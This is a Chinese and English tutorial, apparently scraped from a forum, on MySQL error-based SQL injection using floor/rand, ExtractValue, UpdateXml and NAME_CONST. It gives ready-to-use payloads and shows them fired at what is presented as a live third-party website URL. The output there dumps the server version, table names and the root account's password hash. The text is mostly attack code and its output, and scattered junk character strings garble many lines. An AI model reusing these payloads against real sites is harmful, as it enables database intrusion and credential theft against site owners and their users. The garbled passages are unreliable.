mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
" c5 b8 D+ ~3 e4 U! v首先进行正常查询：

mysql> select * from article where id = 1;
2 o9 w3 D3 M! ~+ z4 ^/ j. g+—-+——-+———+
6 V0 S5 T1 ?( r; s) @| id | title | content |
+—-+——-+———+
|  1 | test  | do it   |
; P6 d# o1 |) H3 K+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
; {+ ^$ [+ L: d3 z' \4 yERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
1 _1 ]1 h! j* r5 w6 E例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
$ g# v, H2 Z' ]; J" _( c0 b" YERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
! ^7 Q! V2 ]7 S; z2 UERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

再收集：

- }/ n2 I2 G# t! ]% p! {) `http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
' z/ E& A: p# ^2 a2 m4 L+ a) C- G* I
" J7 v; J% O# p1 J4 Ahttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

7 r  n; i1 c! S$ H# F  P/ EErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
" a) B/ E& X+ B4 ?

相关信息
7 B7 y; Y$ c7 p; D; _  b
% g' B/ w& m& fNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
; V# ]1 F( F  x7 G& s1 g8 }
Code:
NAME_CONST(DATA, VALUE)

, G$ O+ L4 Q2 B; Z1 {Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
  ]+ L+ H) p$ }9 D
7 |* N0 H0 E, L1 CSELECT NAME_CONST('TEST', 1)

. u' |9 w/ N% v+ g* I: v" W. ?
  N2 `; q$ r* k8 [
|---------------|
|     TEST      |
& m% W. q% m3 R|               |
|---------------|
|       1       |
|               |
! U' N8 x% ]) @  n|---------------|

* U; x  Y$ c, I$ T
. x  `1 E! U. A7 w  m

/ ?# Z# d7 B3 r; `http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables

Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

: V- G  l( y8 ?4 E* MCode:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
$ G# h+ p0 `( Z' g. y
& ?5 F7 J) i1 m& E# Y# ~( u
% [$ P9 z7 D6 k" U: n3 Z
  F- L) l) w5 Z8 P$ b

3 G" `+ t0 l" a4 Z& ACode:
$ m7 ^2 k) G; T( m: Land+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

8 O7 p- w6 H, O. ]5 W* L
VAR = Your MySQL variable.

. i) ^* f9 d9 N( W* D! ]MySQL 5.1.3 Server System Variables
3 W' ?' T  I! x: h; L0 I4 C. |% L
" L. _/ @0 a1 S4 Q5 F" q* b; dLet's try it out on my site..

Code:
: m) X4 n. B! R$ f4 S5 P( T# i7 lhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
+ M' \8 t$ H, x& ~( B
Erroruplicate column name '5.0.27-community-nt'

7 t; K8 j% n) {& {  a



  m$ k5 I8 y. r  Z% \) n# ]- ANow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
4 t4 b% \9 c  y: e
Data Extraction

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--

4 `2 P3 q& `7 k# [" v( S2 {
# F9 [0 I0 y# ^9 L, d1 \We should get a duplicate column 1 error...

1 L# h0 K, g6 ~8 R  j. t: E( w7 }Code:
  C+ N0 B' H- ^  s% nhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

! n7 G3 i# F1 l! }# c& d6 b; nErroruplicate column name '1
0 _: V' `) N. a0 b
& L; f) K1 }+ y4 n* V9 ?
  f6 V' N, L7 s$ I7 i
5 o& O( F0 c" D6 a7 L
6 W# i6 R0 N, V& m$ F
" A+ c' U2 A5 p1 N  o8 C
/ Q0 b( o* W& f( aNow let's get the tables out this bitch..
5 g8 a! i* H. {" B5 T- z2 a
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
2 w# U: a5 I, ^5 a* n2 c! j

, f5 k; `0 u" Y5 I0 }( a4 jLet's see if it works here, if it does, we can go on and finish the job.

5 c5 n) b- U4 cCode:
- P+ I$ J. k& Q0 J$ l# zhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

9 `6 Z& B/ [3 }7 ~/ A0 _$ _
Erroruplicate column name 'com_admanage



% B* q. L: y: w8 H$ y
2 I: V4 z" C" r3 S
  E* }! s- j; x) k& }% y  g/ D) ?
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.

' |, A/ W4 m, s7 X# nLet's get the columns out of the user table..
! c/ ~/ q& R' |% K3 C
4 p& E, X3 U) O. oCode:
& z8 N- T( I. w0 g3 r+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
6 Y* J6 X& w( d: R- m

. R4 A9 K5 N6 X, i& q; n2 C6 jSo mine looks like this, and I get the duplicate column name 'Host'.
2 i3 [5 W: W* G6 |
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
3 X3 p, }2 a. r4 ?* j" L* q) K, ^- x& l
8 n$ @. a: o( j/ _# a. e1 A' EErroruplicate column name 'Host'

- e3 `7 q4 @& l/ G# t! I; }

  p4 ?7 V. ?5 N; t+ ]- e
+ L3 v8 a# P8 @9 ~
! c& H, o7 w& V+ c# G1 K  C; `
3 O# S3 Y3 J8 p/ c3 l2 q2 bWoot, time to finish this bitch off.

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--


So mine looks like this...
! U" z2 I0 L3 \) N
- o. C: e7 O& I' W' L( ]+ ?Code:
1 z  f8 ~7 M3 V( i! \" khttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
" _7 }# i+ H0 e$ _
/ q8 A3 A* |. h0 }& H6 jErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
3 k9 H$ o0 @) a5 r

0 {: E6 g6 D, v2 I+ g7 E) _/ m, H
: Q+ o9 d" o  V5 [: B
  k$ _' ?& j+ m+ }, r* w

And there we have it, thanks for reading.